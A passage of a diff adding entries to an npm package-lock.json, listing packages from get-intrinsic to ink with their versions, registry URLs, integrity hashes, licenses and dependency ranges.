"https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-9.0.1.tgz", + "integrity": "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==", + "license": "MIT", + "dependencies": { + "@sec-ant/readable-stream": "^0.4.1", + "is-stream": "^4.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-uri": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-8.0.1.tgz", + "integrity": "sha512-/5N/P4Lrh0p/mDwlDRi7Y1+P2o/OyzZI3l6Iz1Ov6XXwwm1y3RlZLuo3gVgML99djrEDtV980bBxSuOeHLk8ww==", + "license": "MIT", + "dependencies": { + "basic-ftp": "^5.3.1", + "data-uri-to-buffer": "8.0.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/get-uri/node_modules/data-uri-to-buffer": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-8.0.0.tgz", + "integrity": "sha512-6UHfyCux51b8PTGDgveqtz1tvphBku5DrMKKJbFAZAJOI2zsjDpDoYE1+QGj7FOMS4BdTFNJsJiR3zEB0xH0yQ==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/glob": { + "version": "13.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", + "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "minimatch": "^10.2.2", + "minipass": "^7.1.3", + "path-scurry": "^2.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/global-agent": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-4.1.3.tgz", + "integrity": "sha512-KUJEViiuFT3I97t+GYMikLPJS2Lfo/S2F+DQuBWzuzaMPnvt5yyZePzArx36fBzpGTxZjIpDbXLeySLgh+k76g==", + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "globalthis": "^1.0.2", + "matcher": "^4.0.0", + "semver": "^7.3.5", + "serialize-error": "^8.1.0" + }, + "engines": { + "node": ">=10.0" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/google-auth-library": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-11.1.0.tgz", + "integrity": "sha512-YIBq5KNoHQrZ9PM4PeodDBqqBGlSTIxh1zibN8u3zNIO9UJg8gvKuCpdKV7fWXhsZ2zRkU6FhGrgKNgLJ2IRgw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.1.4", + "gcp-metadata": "^9.0.0", + "google-logging-utils": "^2.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/google-logging-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-2.0.1.tgz", + "integrity": "sha512-HMhaQghlOTvbcb3c4T5jmmOMtG3JUF1iOQMezaJXL86CDS+Tm2vHd0IeLFRAx3+ewd+bo9E1HFHoy17X5aJa9A==", + "license": "Apache-2.0", + "engines": { + "node": ">=22" + } + }, + "node_modules/googleapis-common": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-8.0.3.tgz", + "integrity": "sha512-7g1yzQKx0mmNTjiK0H9dJ8eqKqDBveES9vLHeg5neb3BMQy/d1oQefIMhIpOVT8a+f+LOcixMEdRbFIW/cQUJw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "extend": "^3.0.2", + "gaxios": "7.1.3", + "google-auth-library": "10.5.0", + "google-logging-utils": "1.1.3", + "qs": "^6.7.0", + "url-template": "^2.0.8" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/googleapis-common/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT", + "optional": true + }, + "node_modules/googleapis-common/node_modules/brace-expansion": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/googleapis-common/node_modules/gaxios": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.3.tgz", + "integrity": "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2", + "rimraf": "^5.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/googleapis-common/node_modules/gcp-metadata": { + "version": "8.1.4", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.4.tgz", + "integrity": "sha512-iJ9KMsiu+xKtNRX0PmGLSaIU3bUBAyzWTyqKemKPzNPsmmsBCQYmlNg+brEbES7IHSXtdVwzBPzx1vz3FAaipw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "gaxios": "7.1.3", + "google-logging-utils": "1.1.3", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/googleapis-common/node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "license": "ISC", + "optional": true, + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/googleapis-common/node_modules/google-auth-library": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.5.0.tgz", + "integrity": "sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.0.0", + "gcp-metadata": "^8.0.0", + "google-logging-utils": "^1.0.0", + "gtoken": "^8.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/googleapis-common/node_modules/google-logging-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", + "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC", + "optional": true + }, + "node_modules/googleapis-common/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/googleapis-common/node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "license": "BlueOak-1.0.0", + "optional": true, + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/googleapis-common/node_modules/rimraf": { + "version": "5.0.10", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-5.0.10.tgz", + "integrity": "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^10.3.7" + }, + "bin": { + "rimraf": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC", + "optional": true + }, + "node_modules/graphql": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-17.0.2.tgz", + "integrity": "sha512-FRWbddMxfkjiB7z+aQDWIR+E34xo9I8c9mtK2RPv8PmMzKRvrdsreHL/Ui/TmwHJfhHChEtsFPyMHKI+xuarQQ==", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": "^22.0.0 || ^24.0.0 || ^25.0.0 || >=26.0.0" + } + }, + "node_modules/gtoken": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-8.0.0.tgz", + "integrity": "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw==", + "license": "MIT", + "optional": true, + "dependencies": { + "gaxios": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/guid-typescript": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/guid-typescript/-/guid-typescript-1.0.9.tgz", + "integrity": "sha512-Y8T4vYhEfwJOTbouREvG+3XDsjr8E3kIr7uf+JZ0BYloFsttiHU0WfvANVsR7TxNUJa/WpCnw/Ino/p+DeBhBQ==", + "license": "ISC", + "optional": true + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "optional": true, + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hashery": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", + "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", + "license": "MIT", + "dependencies": { + "hookified": "^1.15.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hono": { + "version": "4.13.9", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.9.tgz", + "integrity": "sha512-7dMkQmZoC4E6F7AtaQSPhlWAdnBti+j7rreMZl8QB4jFiEhP9TWbGWUMi8WYzBCgmgulxuvLQupKqo+Co6Omyg==", + "license": "MIT", + "engines": { + "node": ">=16.9.0" + } + }, + "node_modules/hookified": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", + "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", + "license": "MIT" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/http-z": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/http-z/-/http-z-8.1.1.tgz", + "integrity": "sha512-4rEIu4SljSAs+lgCzzskyNdYllteGIHdnMBsu9MqafivyPAofSmCsrRjHQgxLs0BoPkUJBa7Ld6rXP32SPI8Fg==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/human-signals": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-8.0.1.tgz", + "integrity": "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/ibm-cloud-sdk-core": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/ibm-cloud-sdk-core/-/ibm-cloud-sdk-core-5.6.2.tgz", + "integrity": "sha512-f09Ju5f3nUa5LuZptRQERezFf2cZB4wR1t315vaZrNuZDPCWznBSWtsj+BNlbTcB6JG6NoFb8sUL2101nEyl/Q==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@types/debug": "4.1.13", + "@types/node": "18.19.130", + "@types/tough-cookie": "4.0.5", + "axios": "1.20.0", + "camelcase": "6.3.0", + "debug": "4.4.3", + "dotenv": "16.6.1", + "extend": "3.0.2", + "file-type": "21.3.4", + "form-data": "4.0.6", + "isstream": "0.1.2", + "jsonwebtoken": "9.0.3", + "load-esm": "1.0.3", + "mime-types": "2.1.35", + "retry-axios": "2.6.0", + "tough-cookie": "4.1.4" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/ibm-cloud-sdk-core/node_modules/@types/node": { + "version": "18.19.130", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.19.130.tgz", + "integrity": "sha512-GRaXQx6jGfL8sKfaIDD6OupbIHBr9jv7Jnaml9tB7l4v068PAOXqfcujMMo5PhbIs6ggR1XODELqahT2R8v0fg==", + "license": "MIT", + "optional": true, + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/ibm-cloud-sdk-core/node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "license": "BSD-2-Clause", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/ibm-cloud-sdk-core/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ibm-cloud-sdk-core/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "optional": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ibm-cloud-sdk-core/node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "license": "MIT", + "optional": true + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/incur": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/incur/-/incur-0.5.1.tgz", + "integrity": "sha512-gEwPg0Rwf+Oi8pwySLumYgWk//Xiv2wRJhwsOwVskt7ZHrfwFTR7oQmANnyDqudRYhqK3I5/dp489kPehPjIww==", + "license": "MIT", + "optional": true, + "dependencies": { + "@cfworker/json-schema": "^4.1.1", + "@modelcontextprotocol/server": "2.0.0-alpha.4", + "@scalar/openapi-types": "^0.8.0", + "@toon-format/toon": "^2.1.0", + "tokenx": "^1.3.0", + "yaml": "^2.8.2", + "zod": "^4.3.6" + }, + "bin": { + "incur": "dist/cli/index.js", + "incur.src": "src/cli/index.ts" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/indent-string": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-5.0.0.tgz", + "integrity": "sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "license": "ISC", + "optional": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ink": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ink/-/ink-7.1.1.tgz", + "integrity": "sha512-Y43xxa1ZSPvpmfLHcN5o+OdP8Rf8ykkNJEuKYOUNZKT8wXVNLFTtEm1nSDMQkfBH+YANF4Xuu0hhZ4ejqAtN2w==", + "license": "MIT", + "optional": true, + "dependencies": { + "@alcalzone/ansi-tokenize": "^0.3.0", + "ansi-escapes": "^7.3.0", + "ansi-styles": "^6.2.3", + "auto-bind": "^5.0.1", + "chalk": "^5.6.2", + "cli-boxes": "^4.0.1", + "cli-cursor": "^4.0.0", + "cli-truncate": "^6.0.0", + "code-excerpt": "^4.0.0", + "es-toolkit": "^1.45.1", + "indent-string": "^5.0.0", + "is-in-ci": "^2.0.0", + "patch-console": "^2.0.0", + "react-reconciler": "^0.33.0", + "scheduler": "^0.27.0", + "signal-exit": "^3.0.7", + "slice-ansi": "^9.0.0", + "stack-utils": "^2.0.6", + "string-width": "^8.2.0", + "terminal-size": "^4.0.1", + "type-fest": "^5.5.0", + "widest-line": "^6.0.0", + "wrap-ansi": "^10.0.0", + "ws": "^8.20.0", + "yoga-layout": "~3.2.1" + }, + "engines": { + "node": ">=22" + }, + "peerDependencies": { + "@types/react": ">=19.2.0", + "react": ">=19.2.0", + "react-devtools-core": ">=6.1.2" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "react-devtools-core": { + "optional": true + } + } + }, + "node_modules/ink/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ink/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "license": "MIT", + "optional": true, + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ink/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC", + "optional": true + }, + "node_modules/ink/node_modules/string-width": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.3.0.tgz", + "integrity": "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ink/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + 